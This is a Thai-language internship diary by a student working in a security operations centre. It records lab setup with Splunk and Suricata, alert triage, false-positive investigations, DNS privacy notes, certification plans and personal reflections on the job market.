- ต่อเนื้อหา Splunk ที่ยังไม่จบ วันนี้ไม่ค่อยมีอะไรมาก พี่เลี้ยงพาไปกินข้าวเที่ยงชิล ๆ
- ทดสอบ POC CVE-2026-20182 Cisco Catalyst SD-WAN bypass เอาเป็นว่าอันนี้พออ่านโค้ดได้เฉย ๆ หา target มาลองไม่ได้จริง ๆ นึกไม่ออกว่าจะลองกับ SD-WAN ที่ไหน (ที่เจอใน Shodan ส่วนมากก็จะไม่ vulnerable เพราะระดับ ISP ของปิดรูกันแล้ว) แถม POC ก็ออกมา 2 เดือนคง mitigate กันไปเยอะแล้ว
Day 19
- setup SplunkEnterprise และ SplunkUniversalForwarder บน localhost, เครื่อง vm กลาง และลอง feed logs จาก OWASP juiceshop เข้ามาดูเล่น
- ฝึก SPL query ใน splunk, ทำ stats, eval, graph ต่าง ๆ
- ลองทำ dashboard, report จาก Splunk
- ช่วงนี้กำลังหาเรียน Ethical Hacker ในโครงการของ สกมช x Cisco อยู่ จะเอาไปสมัคร Cisco CTF เห็นว่ามีส่วนลดสอบ cert
Day 20
- หลังจากย้ายจาก Debian มา Fedora ได้สองวัน ก็แฮปปี้ดีมากกับ btrfs file system ตอนนี้มีส่วนที่ต้องเรียนรู้เพิ่มนิดเดียวเอง เช่น grubby, SElinux, ระบบ package dnf,rpm ส่วนเรื่องการติดตั้งผมว่าง่ายกว่า Debian อีกนะ 555 แบบ งงเลยว่ากดแค่นี้ก็ติดตั้งแล้วเหรอ

- ต้องบอกว่าด้วยความที่มันเป็น btrfs ลักษณะการทำงานจะเป็น copy on write (เวลาเราแก้ไขไฟล์ มันไม่ได้แก้เข้าไปที่เดิม มันแค่เก็บไฟล์เดิมไว้ -> เชียนส่วนที่แก้ไขเพิ่ม -> เปลี่ยน pointer มาชี้ส่วนที่เพิ่มขึ้นมา) ทำให้มันมีลักษณะคล้าย Incremental Backup โดยธรรมชาติ
โดยผมมี snapshots เก็บไว้ของทั้งสอง subvolume หลักคือ root และ home ทุกชั่วโมงของทุกวันเลยทีเดียว (ลืมแล้วว่าตั้งไว้จะเก็บย้อนนานแค่ไหน) ถึงแม้ว่าเราจะมี snapshots เยอะขนาดนี้ แต่ก็ไม่ส่งผลต่อ performance, disk space เลย (ขนาดมีทุกอย่างพร้อมทำงานแล้วก็ใช้ไปแค่ประมาณ 25GB)

- วันนี้พี่เลี้ยงส่ง Topology มาให้เราเซ็ตอัปแลปเล่นกันกับเพื่อน โดยที่หน้าตา Topology คือแบบนี้ (เปิดเผยได้เพราะ generic + ai generated + ทุกอย่างเป็น private network)

แต่พอนำมา implement จริง (เวอร์ขั่นแรก จะหน้าตาแบบนี้)

โดยที่ในส่วนของ Target box เราก็จะมีระบบให้คนไปลองยำเล่น ๆ ยิ่งตีเยอะ log ยิ่งเยอะ อะไรงี้ (แต่ engineer ยังไม่จูนเลย ตอนนี้อะไรก็ขึ้น log ไปหมด)

Day 21
SplunkLab
- วันนี้ก็เป็นการ implement แลปตาม topology ที่ว่ามาเลย ซึ่งเราก็ได้ย้ายค่ายนิดหน่อยจากการใช้ IDS/IPS ที่เป็น snort3 มาลอง Suricata ดู เนื่องจากมันดูจะครบเครื่องกว่า
โดยสมมติว่าเราทดสอบ gobuster จาก kali (ซ้ายสุด) ไปที่ target box (ขวาสุด)

มันก็จะขึ้น log ใน splunk (log version Snort3 แบบคร่าว ๆ ซึ่งเวอร์ชั่น Suricata รายละเอียดมากกว่านี้มาก)

โดยที่หน้าตาแลป ทุกคนอาจจะยังไม่ได้เห็น (ตั้งแต่เมื่อวานก็เซ็ตไว้แล้วแหละ แต่ว่ายังไม่ลงตัวเท่าไร ปัญหาเยอะ) ปัญหาที่พบก็อย่างเช่นการที่ ip เกือบทั้งหมดใช้ ip จริงในวงแลน 172.19.1.0/24 ทำให้เมื่อ virtual box ปิดลอง dhcp วันต่อมาก็เลยแจกไม่เหมือนวันแรก
เราเลยต้องไปเพิ่ม interface วุ่นวายนิดหน่อย และที่ทำอยู่ก็เป็นการแก้ปัญหาเฉพาะหน้ามาก ๆ ไม่ใช่ best practice อะไรเลย 555 ข้อจำกัดที่มีก็เช่น ram ของระบบที่น้อย เพราะแค่ vm ของ splunk ก็กินเยอะแล้ว ไหนจะมี kali (GUI) อีก
ทำให้ topology เมื่อสิ้นสุดวันที่ 21 เป็นประมาณนี้

ตอนนี้ design มันดีสำหรับการโจมตีคนเดียว (หรือการสาธิตทำ C2 server) เพราะว่าตอนนี้เราใช้ kali เป็น proxy ในตัวในการโจมตี ทุก log เลยจะมาจาก 192.168.67.1 ซึ่งคือ kali ทั้งหมด (IDS ไม่ได้จับขา 172.19.1.0 เลย)
หากต้องการจะทดสอบ webapp ด้วย burp วิธีที่ใช้ในปัจจุบันคือ
ssh -D 9050 -N -f kali@172.19.1.XXX
เพื่อใช้ ssh ในการ bind port 9050 ของ local เราไปที่ kali จากนั้นทำ SOCKSv5 ใน burp เพื่อให้ใช้ proxy หลักในการโจมตีเป็น kali แทน

ปัญหาต่อมาคือพอเรา pentest พร้อมกัน 3 คน แต่ละคนก็กระหน่ำ tool เช่น sqlmap, gobuster, fuzzing ต่าง ๆ log วิ่งหลักแสนในพริบตา คราวนี้คำถามคือ เมื่อกี้ใครทำอะไรนะ (lol) เพราะทุกคนมาจาก kali มันเลย ip เดียวกัน artifacts ต่าง ๆ ก็แทบไม่ต่างกันเลย
เป็นปัญหาที่เราต้องแก้ต่อไป ว่าเราจะทำ routing เล็ก ๆ ดีไหม ? (layer 3 route ทำให้ ip e2e ต่างวงกันได้ จะได้รู้ตัวจริงคนยิง) หรือว่าเราจะรื้อ network ทำแบบอื่นดี
Day 22
- จบคอร์ส Security+ แล้ว
สอบ cert เพิ่มดีไหมนะ

แต่ ๆๆๆ มันมีข้อยกเว้นอยู่อย่าง เพราะอะไรรู้ไหม

จริง ๆ CompTIA เขามีสิ่งที่เรียกว่า beta exam หรือ preview — สองคำนี้คือสิ่งเดียวกัน คือช่วงที่ข้อสอบเวอร์ชั่นใหม่เปิดให้คนไปสอบก่อน official launch ข้อดีคือราคาถูกมาก แค่ 50usd (จากปกติ ~400usd) ข้อเสียคือผลสอบออกช้าเป็นเดือน เพราะ CompTIA เอาไป calibrate ข้อสอบก่อน
คราวนี้มาดูของแต่ละตัว
CySA+ v4 (CS0-004) คาดว่า Comptia ข้ามขั้นตอน Beta ไปเลย เพราะถ้ามันจะมี มันต้องออกก่อนเดือน launch ตัวจริงนานมากแล้ว
Security+ SY0-801 (v8) ตัวนี้ต่างออกไป มีแนวโน้มสูงมากว่าจะมี beta เพราะ draft objectives มันออกมาตั้งแต่ปลายปี 2025 แล้ว และมี tentative preview launch ราว ๆ October 20, 2026 (จาก CompTIA Instructors Network ผ่าน Training Camp) ซึ่งยังไม่ใช่ official date อาจเลื่อนได้อีก 3–6 เดือนตาม historical pattern
ถ้าดูจาก SY0-701 รอบที่แล้ว มัน launch 7 พ.ย. 2023 และ beta เปิดก่อนหน้านั้น 2–3 เดือนคือช่วง ส.ค.–ก.ย. 2023 ก็พอเดาได้ว่า SY0-801 น่าจะเปิดลงทะเบียน beta ช่วง summer 2026 หรือประมาณ ก.ค.–ก.ย. นี้ ส่วน General Availability ก็น่าจะตามมาปลายปี 2026 ถึงต้นปี 2027
สรุปคือ CySA+ นี่ไม่มีแน่ ๆ เพรามันควรมีหลายเดือนก่อนหน้านี้แต่ Sec+ SY0-801 อาจจะพอมีหวัง และถ้ามันมาจริงก็สอบได้ในราคาแค่ 50usd (~1,700 บาท) เท่านั้นเอง
และการลางาน (สหกิจ) ไปสอบก็คงไม่ได้ยากขนาดนั้นเพราะว่านี่เป็น cert ที่บริษัทส่วนใหญ่ต้องการในสายงานเรา
Day 23
- พี่เลี้ยง recap บท 15 และ 16 (ที่จบเมื่อวานให้) Lesson 15: Explain Risk Management Processes, Lesson 16: Summarize Data Protection and Compliance Concepts
- เรียน Cisco Network Academy: Ethical Hacker (เตรียมเอาไปสมัคร CTF ของ NCSA x Cisco)
Day 24
- อาจารย์จากมหาลัยมาเยี่ยม
- ทำโปรเจค
- เรียน Cisco Network Academy: Ethical Hacker (ต่อ)
Day 25
-
case study: กรณีฉุกเฉิน ที่ลูกค้าอาจมีการนำ external drive มาเสียบที่ endpoint แล้วเกิด alert จำนวนมาก (และจาก host มากกว่า1 เครื่อง) ซึ่งไม่พบว่า signature ตรงกับ malware ใด ๆ เพียงแต่เป็น executable ที่ไม่รู้จัก ทำให้เป็น alert fatigue ที่ L1
มีความเสี่ยงสูงมากที่จะเป็น ransomeware ตัวใหม่ที่กระจายแบบ worm ได้ หรือต่อให้เป็น false positive หลายเคสผสมกัน ก็ต้องโทรสายตรงไปให้ลูกค้ากำจัดอยู่ดี และทำการสืบ root cause ภายหลัง
二千年後の君へ
(To You, 2000 Years From Now) ขอคั่นรายการนิดนึง เนื่องจากฝึกงานกลับมาไม่มีไรทำ อยู่หอก็เปิดดู Attack on titan ไปได้แค่ประมาณ 85 ตอน < update ย้อนหลัง ดูจบละ
ถ้าถามว่าทีมใคร คือเท่าที่ดูจนจะจบ + อ่านมังงะจบไปแล้ว เราก็คงฝั่ง Zeke Yeager เพราะเราไม่ได้อยากมี freedom ให้ลูกหลานอยู่แล้ว และเหมือนคนไทยหลาย ๆ คนที่ไม่ได้อยากให้ลูกเกิดมาลำบากด้วย
เข้าเรื่อง
พี่เลี้ยงที่ทำงานบอกว่าพวกเราที่มาฝึกงานรุ่นนี้เรียนรู้เร็วดีมาก แต่ในใจก็ได้แต่คิดว่าเท่านี้มันจะพอจริงเหรอ ? ยังไงเราก็น่าจะสู้พวกในกรุงเทพได้ยาก พวกนั้นเข้าถึงงาน ctf, conference, hackathon จำนวนมากได้ง่าย ๆ หรืองาน 2600 thailand ที่กำลังจะจัดอีกด้วย
และอีกอย่าง การรีบเรียนจบในตอนนี้มันก็เหมือนการวิ่งตัดหน้ารถสิบล้อเข้าไปหยิบเงินเดือนก้อนแรก ตั้งแต่ที่ LLM AI ปล่อยให้คนทั่วไปใช้ น่าจะตอนเราอยู่ปี 1 ผ่านมาแค่ไม่ถึง 4 ปี ก็มีคนโดน layoff, ต้อง reskill, learn skill กันเต็มไปหมดเหมือนหนูติดจั่น ถ้าหยุดวิ่งก็ตาย ประมาณนั้นเลย
การหางานให้เร็วที่สุดน่าจะช่วย secure ชีวิตของเราได้ (ถ้าทำไปให้ครบ 120 วันจะถูกจ้างออกก็ได้ชดเชย 30 วัน) หรืออย่างน้อยถ้าไม่ได้ประจำ ขอแค่สัญญา contract 1 ปี ก็พอทำให้ประสบการณ์ปีแรกได้
หากพลาดช้าเข้าตลาดแรงงานไปแค่ 1 ปี เราจะเจอเด็กสายตรง cyber ที่จบอีกกี่สถาบันก็ไม่รู้ และแน่นอนว่าคุณภาพเราคงยากที่จะเป็น top 10%, ในตลาด red ocean แบบนี้ top 20,30,40 อาจไม่มีความหมาย คุณต้องเป็น top ของ top เท่านั้นเลยหรือเปล่า ?
ไม่ได้จะยอมแพ้ อะไรง่าย ๆ หรอก แค่บ่น ขอบคุณที่รับฟังครับ
ถ้าเป็นไปได้ก็ไม่อยากให้รุ่นหลังกว่าเราเจอตลาดแรงงานที่มันแย่ไปกว่านี้เลย ตอนนี้มันก็ไม่ได้ดีมาก เพียงแค่นี้ก็พอแล้ว
ถ้าประเทศตามเทรนด์โลกที่ 1 อย่างสหรัฐอเมริกาจริง Cyber Security จะไม่มีที่ยืนให้เด็กจบใหม่ ทุกคนต้องเริ่มที่ IT helpdesk -> ขึ้นมาเป็น SoC L1 -> L2 -> L3 ไปแบบนั้นเลย และนั่นคือตลาดแข่งขันสูงที่อิ่มตัว bootcamp และ cert ไร้สาระต่าง ๆ ย่อมไร้ผล (ถ้ามันใช้ bid งานไม่ได้) การสกรีนคนใช้ automation + HR ล้วน ๆ
และอะไรที่มัน supply over demand มันจะฟองสบู่เสมอ, ผมว่าผมจำอาชีพ Business Analyst, Data Analyst ที่แข่งกันเปิดหลักสูตรตอน 2019-2020 (โควิด) ได้ดี ตอนนี้ AI แซงชั่นฝั่ง pipeline, coding, database ได้ดีมาก ๆ ไม่ใช่ analyst สายโค้ดอีกแล้วที่รอด เราแค่ต้องการคนที่มี business domain knowledge (พวกสาย business, finance ธรรมดา ๆ ที่ไม่ต้องรู้โค้ดมาก แค่รู้ว่าธุรกิจทำงานยังไง) มาคุม AI ก็พอแล้วหรือเปล่า ?

สุดท้ายนี้ เราไม่ใช่ Gen Z แบบในข่าวที่หนักไม่เอา เบาไม่สู้ ไม่มีความสามารถแล้วอยากเรียก 40K, เราแค่อยากมีงานทำ ที่มันจะไม่ layoff เราปีต่อปี มี provident fund ที่เลือกกองต่างประเทศได้ มีระบบ training สอนงานที่ดี ส่งเราไป upskill, สอบ cert ต่าง ๆ สังคมการทำงานที่ดีพอใช้ก็พอแล้ว
เงินไม่ใช่เรื่องสำคัญกับเราขนาดนั้น เพราะขนาดพระแค่มีข้าวกับที่พัก ก็ยังหาความสงบทางใจได้ เราแค่อยากมีรายได้เพียงพอให้ไม่ต้องคิดมากเวลาใช้จ่าย (ปกติก็ประหยัดโดยนิสัย)
แต่ว่าถ้ามีค่า cert ให้ก็อาจจะดีเหมือนกัน จะได้มีกำลังใจสอบ
Day 26
-
เปิด lab Splunk ขึ้นมาลองเขียน rule ตรวจจับ brute force attempt ได้ฝึกแก้ปัญหา log ไม่เพียงพอต่อการ aggregate ข้อมูลเช่นการต้องไปเพิ่ม backend logic ของ webapp (เพราะเดิมแล้ว website return 200 เสมอไม่ว่า login success, failed) หรือการนำ Hex Dump (HTML body) มา parse เป็น json เพื่อให้ siem อ่านรู้เรื่องแล้วใช้ RegEX ในการตรวจจับว่า response ที่เว็บตอบกลับนั้น login pass, fail (ในกรณีที่สมมติเราแก้ backend webapp ไม่ได้เลย)
-
ตัวอย่าง alert แบบ demo บนเว็บไซต์ DVWA


ซึ่งก็แปลกดี ปกติ login มักใช้ POST request กัน เพราะว่าจะใส่ payload ใน request body ไม่ใช่ url
ลองเขียน incident report
หลังจากลองทำ rule มา trigger alert แล้ว ก็ลองเขียน incident response report เพื่อรายงานลูกค้า (ในที่นี้คือข้อมูล demo)

หลังจากนั้นพี่เลี้ยงก็ได้ให้ลองนำ incident ดังกล่าวมาเขียนใน template ของลูกค้าจริง โดยเราก็ได้เรียนรู้ว่าลูกค้าแต่ละเจ้ามี focus และ workflow,priority ไม่เหมือนกันในการตอบสนอง incident ต่าง ๆ ตามแต่ business plan ของลูกค้า
โดยในส่วนนี้เนื่องจาก template เป็นของจริง จึงไม่สามารถให้ดูได้
Day 27
-
ฟังพี่เลี้ยงประชุม technical ตอนเช้า ได้รับทราบ challenge - solution ของฝ่ายอื่น ๆ เหมือน podcast รายวัน สนุกมาก
-
ทำมาจะครบหนึ่งเดือนในที่สุดก็มีอีเมลล์รวมไว้ใช้งานซักที (lol)
-
ได้ใช้ระบบ EDR จริง และลองนำ virus test file มาลอง ทั้ง file ธรรมดา, และพี่คนนึงลงเกม warcraft III (ละมันน่าจะแถม trojan ในคราบ DLL sideloading) ซึ่งก็ลงเพื่อวัดว่าระบบจะ quarantine ได้ไหมนี่แหละ แต่พอเรามานั่งดูด้วยตาก็งงนิดหน่อยเหมือนกันเกือบ 4000 ไฟล์ (จริง ๆ หาแค่ชื่อ .exe ก็รู้เกมแล้ว)
- gap ในด้านการ analysis ตอนนี้คือถึงจะรู้ว่าไฟล์ถูกโหลดมาจริง จาก msedge.exe ลงไปที่ directory แต่เราก็ยังไม่รู้ว่าต้องหา log ไหนมาอ้างอิงว่า website ใดที่ user คนนั้นไปดาวน์โหลดมา เนื่องจาก log EDR ไม่แสดง
- อาจจะต้อง query เพิ่มเติมจาก siem ตัวอื่น พวก log ที่เป็น network traffic (DNS query, TLS handshake เพื่อดู client hello SNI กรณีที่ DNS query เป็น DOH/DOT ปกปิด) และ/หรือ browser log (browsing history ถ้ามี)
DoH and ECH
ขอเอ่ยถึงสั้น ๆ ละกัน ปกติเวลาเราจะไป website เช่น apiratchai.com มันก็ต้องวิ่งผ่าน
Computer -> dns query ขอ IP ของ apiratchai.com -> DNS server (อาจจะ local เช่น pihole cache, upstream เช่น cloudflare dns) -> ส่ง IP คำตอบวิ่งกลับมาหาเเราปกติแล้วไอ้ขั้นตอนนี้มันส่งแบบ plaintext ผ่าน UDP port 53 ทั้งหมดเลยทั้ง query - reply ทำให้คนกลางเช่นแฮคเกอร์ - ผู้ให้บริการ internet รู้ว่าเราอยากไป website อะไร เขาก็เลนคิดว่าถ้าเราส่ง Dns over HTTPS/TLS มันก็จะช่วยเข้ารหัส และแฝงไปกับ traffic HTTPS ได้ เพื่อทั้งความปลอดภัยและความเป็นส่วนตัว

สังเกตว่า DoH มันก็ขี่บน TLS เหมือน DoT อยู่ดี ข้อดีข้อเสียต่างกัน
-
DoH จะ stealth กว่าเพราะแยกยาก ว่าอันไหน DNS query หรือ HTTPS traffic อื่น แลกมาด้วยการ encap เพิ่มอีกชั้น ทำให้ประสิทธิภาพควรต่ำกว่า (เสี้ยวของเสี้ยววิ)
-
DoT จะไม่รวมกับ traffic อื่น เลยต้องมี port 853 เป็นของตัวเอง และมันก็มักถูก block ได้
คราวนี้เรื่องของ TLS ซึ่งก็คือการ handshake ความปลอดภัยก่อนเปิดการเชื่อม HTTPS นี่แหละ (HTTPS = HTTP + TLS) มันดันเกิดก่อนไง แล้วไอ้ handshake มันจะส่ง client hello ที่เป็น plain text ประมาณนึง สามารถมองเห็น SNI (service name identifier) ได้ชัดเจน โดยแม้จะมี DoH/DoT แล้ว แต่ว่าตอนเข้าใช้งาน website จริง ๆ ก็ยังมี TLS handshake ก็ยังส่ง SNI เป็น plaintext ที่เราเดา service ปลายทางได้ไม่ยาก หากต้องการจะปิดตรงนี้ก็ต้องใช้มาตรฐาน ECH:Encrypted Client Hello RFC 9849 เพื่อปกปิดไอ้ client hello เจ้ากรรมของเรา

เอ๊ะเหมือนเคยเขียนไปแล้วซักตอนนึง (?) < อาจจะเดจาวู
- ส่วนการ query หา root cause ของ alert วันนี้คงให้ดูขั้นตอนการทำงานไม่ได้ เนื้อหาเป็นความลับบริษัท
- ตกเย็นนั่งฟัง webinar อบรม solution ใหม่
Day 28
-
ช่วงเช้า webinar อบรม threat hunting mindset
- การขยับจาก L1 เป็น role ที่ capable มากขึ้น
- การเขียน threat hunt query จากสมมติฐาน + AI assisted query logic
- ระบบวิธี training + learning ภายในบริษัท
-
พี่เลี้ยงซื้อข้าวเที่ยงมาเลี้ยง ปลาเผา ไก่ย่าง ฯลฯ
-
ช่วงนี้ฝนตกรุนแรงมาก ฟ้าผ่า น้ำท่วม ขนาดรถยนต์ยังขับฝ่าพายุยาก
บ่นชีวิตมหาลัยยกสอง
-
ใกล้จะเปิดเทอมแล้ว มาคิดดูก็เสียดายนิดหน่อย ที่ไม่ได้อยู่มหาลัยตอนปี 4 เทอม 1 เพราะว่าวิชาเลือก Network Security จะเปิดแค่เทอมนี้เท่านั้นเลย (คนไปสหกิจจะไม่ได้เรียน) เดี๋ยวให้เพื่อนส่ง lecture มาให้เอาละกัน เพราะนอกจาก router ACL, Pfsense, IDS เราก็ไม่ได้มีความรู้พื้นฐานเรื่อง Network Security อะไรเท่าไรเลย
เหมือนตอนที่เรียน modern network แล้วรู้จัก ONF architecture, Ansible, Linux bridge, การทำ overlay network ครั้งแรก แม่งอย่างว้าว (จนตอนนี้ฝึกงานก็ได้ใช้ เซ็ตแลปครึ่งวันรันได้ เหมือนเสกเอา ถ้าไม่รู้จัก tool พวกนั้นก็คงทำไม่ได้)
แม้ว่าตอนฝึกงาน จะไม่ได้ทำ network ซับซ้อนระดับ ISP (และโบราณไหมนะ เพราะในหนังสือ + แลปที่ทำมาเขาก็ดูไม่ทำกันแล้ว) ส่วนมากคือการทำในวง LAN เราเอง เน้นเชื่อม containers + vm มากกว่า
-
น้องชายของเพื่อนก็เข้าปี 1 สาขาเราปีนี้ด้วย (มีคนรู้จักฝากช่วยดูน้อง 2 คน) แต่ก็ไม่มีอะไรจะให้น้องมั้ง เพราะว่าเราก็จะปี 4 แถมชีทอะไรก็ให้รุ่นปี 3 ไปเกือบหมดแล้ว 555
ถ้าจะมีอะไรพูดให้น้องฟังก็แค่ อย่าไปเครียดเอง มันไม่ได้ยากขนาดนั้น เพราะเดี๋ยวโลกมันก็กดดันเอง 555 เอาจริงนะตั้งแต่เรียนมา เครียดสุดคือเรื่องกิจกรรม (ชมรม/กิจกรรมรุ่น) เรื่องเรียนไม่เครียดเลย อีกอย่างคือเด็กรุ่นใหม่เรียนรู้เร็วกว่ารุ่นเราเสมอ เขาเข้าถึงเทคโนโลยีไวกว่าเรา รุ่นน้องเก่ง ๆ เยอะมาก
Day 29
-
วันนี้ได้ work from home เนื่องจากเป็นวันคร่อมหยุดยาว ด้วยความที่อยู่บ้าน เลยไม่สามารถให้ 2FA ในการ login SIEM, EDR ได้ (เพื่อความปลอดภัย) วันนี้เลยกลับไปเรียนกึ่ง lecture อีกครั้ง
-
join Microsoft Team ไว้คุยกัน รอบเช้า
- พี่เลี้ยงส่ง try hack me ห้อง Wazuh มาให้เล่น
- พอเล่นจบก็ส่งห้อง Intro to log analysis และ Log analysis with SIEM มาให้เล่นต่อเลย
รอบบ่าย
- ห้อง soc L1 alert triage
- ห้อง soc L1 alert reporting
- ทบทวน Splunk

Day 30
ปิดเคสจริง site ลูกค้า
- วันนี้ครบ 30 วันทำการ (จริง ๆ มี 31 วัน แถมให้วันนึง) เดี๋ยวจะต้องขอเอกสารประกอบเล่มฝึกงานครบ ๆ จากพี่เลี้ยง + เขียน diary ย้อนหลังลงเล่มส่งมหาลัย
- วันนี้ได้ปิดเคสจริง ผ่านระบบ XDR ของลูกค้า 1 เจ้า โดยเคสก็จะเป็นประมาณ port scanning, path traversal, DOS attack, login fails และการพยายามทำ command injection บนหน้าเว็บไซต์ โดยเคสส่วนมากเป็นเคสเกิดซ้ำ โดน Firewall block ไปแล้วเป็นประจำ (เนื่องจากเคสยากก็ให้พี ๆ ดูหมดแล้ว) สามารถหา template เดิมมา comment ปิดเคสได้เลย เป็นเหมือนการอธิบายเคสตาม playbook ว่าเกิดจากอะไร ไว้ใช้อ้างอิงในอนาคต
- โดย malware ตัวนึงที่พบจากใน payload command injection พบว่าเป็นประเภท botnet ที่ออกมานานหลายปีแล้ว (2016-2018) และน่าจะยังมี host หลายตัวในยุโรปที่ติดอยู่, เป็น malware สามัญประจำบ้านที่คนเอามากราด inject เว็บไซต์ที่การป้องกันไม่ดี ให้กลายเป็นบอทตาม ๆ กันไป malware ตัวนี้โดนบล็อกสำเร็จ 100% ไม่มีผลกระทบแต่อย่างใด เพียงแค่อยากเอามาแชร์ว่า malware โบราณก็ยังคงอยู่

แก้โปรเจค
- วันนี้เกิดปัญหาที่ rule การแสกน network เราดีเกิน ทำให้มันเจอ port 9100 (เจอนานแล้ว แต่ไม่เคยทำอะไร) วันนี้มันดันส่ง payload ทำให้มัน trigger เครื่องพิมพ์ให้พิมพ์กระดาษเปล่าออกมาหลายแผ่น
เลยต้องไปเพิ่ม feature การ blacklist IP ออกจาก scan list
Day 31
ศึกษา SOP
-
เนื่องจากเมื่อวานได้ทำ site ที่เป็นงาน routine + incident พบบ่อยไปแล้ว (เป็น site ที่ไม่จำเป็นต้อง report มาก เพียงแค่ note down ว่าเกิดอะไรขึ้น)
วันนี้เลยได้เรียนรู้ SOP (standard of procedure) และ resource ที่เป็นของ site ลูกค้าอื่น ๆ (ประมาณ 2-3 เจ้า) เพื่อสร้างพื้นฐานการทำงานให้เป็นไปตาม SOP เดียวกัน จะได้เป็นระบบง่ายต่อการอ้างอิง
และดู video การใช้งานทั้ง SIEM, EDR, SOAR รวมประมาณ 2-3 ยี่ห้อ
-
และการศึกษาว่าไอ้ shared resource ของ SOC เนี่ยแต่ละไฟล์มันอยู่ไหน จะได้หาเจอ เพราะเยอะมาก (ฮา) คู่มือเป็นร้อย รีพอร์ตเป็นล้าน
คือ procedure มันเยอะเวอร์ ๆ เลยนะ ;-; ถึงแม้บางอันจะง่าย แต่ว่าขั้นตอนพวกนี้น่าจะต้องทำไปซัก 1 เดือนคงจะชินมั้ง ไม่งั้นได้เปิด manual ดูทุกรอบแน่ ๆ
Day 32
ฝึกงานจบ สหกิจต่อ
แน่นอนว่าถ้าแค่มาฝึกงานอย่างเดียว ก็สามารถกลับบ้านได้เลยตั้งแต่จบวันที่ 31 แต่เนื่องจากผมสหกิจต่อที่บริษัทเดิม ก็เลยจะอยู่ที่นี่ไปอีก ยาว ๆ 4 เดือน
-
วันนี้ก็คล้ายเดิมครับ นั่งดู alert ticket ตามพวก XDR, SOAR แล้วเอาบางเคสด่วน ๆ ไปค้นใน SIEM หาที่มาของปัญหาแล้วก็ปิดเคสไป, เคสไหนที่ EDR/firewall/soar whatever มันจัดการแล้ว ก็แค่เข้าไปเช็คว่าสิ้นซากหรือยัง เป็น false positive มั้ย กระทบต่อการทำงานลูกค้ามั้ย
-
กรณีศึกษาวันนี้ไม่มีอะไรมาก
- จาก site ลูกค้า (ส่วนมากจะเป็น alert จากพวก firewall, NGFW) ว่าการพยายามยิง payload มั่ว ๆ จาก CVE โบราณ เกิดขึ้นแทบทุก 10 นาที เพื่อทำให้เครื่องเรากลายเป็นส่วนหนึ่งของเครือข่าย botnet ผมคาดว่า botnet พวกนี้ต้นทางก็คือเครื่องที่ติดมาเหมือนกัน มันแค่ซอมบี้ที่คอยกัดแพร่เชื้อไปเรื่อย
- signature ก็สามารถเอาไปค้นได้ชัดเจนว่าเป็น CryptoMiner บ้าง, Ddos botnet บ้าง ฯลฯ
- หรือแม้แต่การทำ reconnaisance ด้วย NMAP, และการที่หน่วยงานโดน SHODAN แสกน เป็น traffic noise ที่ค่อนข้างน่ารำคาญทีเดียว
- noise ประเภทที่ระบบเตือนว่าเป็น bruteforce แต่ที่จริงเกิดจากการเซ็ตอัพ network login system NTLM ที่ไม่ดีขององค์กร ทำให้เกิด Login Failure จำนวนมหาศาล ตามด้วยการ Success (เหมือน bruteforce สำเร็จ ทำให้ severity = critical)
- สาเหตุที่ทราบว่าไม่ใช่การ bruteforce เนื่องจากเคสนี้ L2 เคยติดต่อไปยังลูกค้าแบบแทบจะทันที เพื่อหาว่า user นั้น ๆ ได้พยายามเปิดโปรแกรมใดที่ต้องขอ ticket ไหม แล้วมัน success ในครั้งแรกหรือไม่ ซึ่งพนักงานในองค์กรลูกค้าก็ยืนยันได้ว่าเป็นจริง
- และ baseline ของเคสนี้เป็นตัวเลข Login Failure จำนวนครั้งที่ค่อนข้างจะนิ่ง ทำให้คาดเดาได้ว่าหาก username ปกติใช้โปรแกรม .exe ตัวนั้น = เด้ง bruteforce alert แน่นอน
ยังไงเสียเจอ False Positive ก็ดีกว่าเจอ Incident จริงล่ะมั้ง
Day 33
-
วันนี้พี่เลี้ยงกำลังจะจัดตารางกะให้ เราจะได้เข้ากะ 12 ชม แล้ว (ทำ 4 หยุด 3) เย่ (?)
-
ส่วนกรณีศึกษาจาก log วันนี้ก็ไม่มีอะไรมาก
NTLM auth fails
เราไปเจอเคสอันนึงที่บอกว่ามีการ login จาก user นาย A ไปยังเครื่องกลางเพื่อเข้าถึง file ที่แชร์บน SMB (ก็ประมาณ server กลางของหน่วยงานที่เอาไว้ฝากไฟล์งานแหละ) แต่ว่าเปิดเป็น alert ขึ้นมาเพราะว่า baseline 30 day ก่อนหน้านี้ user นี้ไม่เคย login มาใช้งานเลย
เท่านั้นยังไม่พอ ยังพยายามจะ authen ผ่าน NTLM ไปยัง ip ปลายทางถึง 3 ไอพีพร้อมกัน (?) ซึ่งถือว่าแปลก
พอไปตรวจสอบดูก็พบว่า
- การ authen สำเร็จในครั้งแรก ไม่มีการ failure เลย
- ไฟล์ที่เข้าถึงก็เป็นไฟล์ .xlsx (excel) จริง ๆ และดูจะเป็นเอกสารสรุปยอดที่มีอยู่แล้ว น่าจะแค่เข้ามาแก้ไขงานตามปกติ
- การเปลี่ยนแปลงของไฟล์ และ command ที่รันบน endpoint เครื่องกลางก็ปกติ มีการสร้างไฟล์ temp (พฤติกรรมปกติตอน edit ไฟล์ยังไม่ save มันก็เก็บ autosave)
ไปสืบอีกก็รู้ว่าไอ้ server กลางเนี่ยมันมี interface มากกว่า 1 (และ 3 ip ที่ client พยายามไป auth ก็ตรงกับ interface ที่มันมี) สรุปก็คือมันพยายามเชื่อมแค่ 1 เครื่องนี่แหละไม่ใช่สาม
พอเช็ค asset inventory ก็พบว่า client, username นี้เป็นพนักงานจริง ส่วนสาเหตุที่ไม่อยู่ใน baseline 30 วัน อันนี้ก็เกิดขึ้นได้ หากเราทำงานที่ไม่ได้เข้าถึงไฟล์บางไฟล์ทุกวัน
802.11 Block Acknowledge
อีกเคสนึง ที่ค่อนข้างเป็นวิธีโจมตีที่โบราณ แต่ก็น่าสนใจดีคือ การยิง frame ที่เป็น Block Acknowledge จาก client ไปยัง Access point ของลูกค้า (กรณีนี้เป็น datalink layer attack)
แม้ว่าผมจะไม่รู้เรื่องมาก แต่ถ้าจะให้เกริ่นเลย คือไอ้ wireless accesspoint เนี่ยก็ทำหน้าที่เป็นจุดเชื่อมต่อสัญญาณ wifi นี่แหละ เหมือน router ในบ้าน, AP ตามโรงแรม, หอพัก
โดยที่ตัว wifi เอง มันคือมาตรฐานการเชื่อมต่อแบบ IEEE 802.11 คราวนี้คือ 802.11 ก็มีหลายเวอร์ชั่นเป็นตัวอักษรพ่วงหลังเช่น 802.11a, 802.11b อะไรแบบนั้น ตอนนี้ wifi7 คือ 802.11be
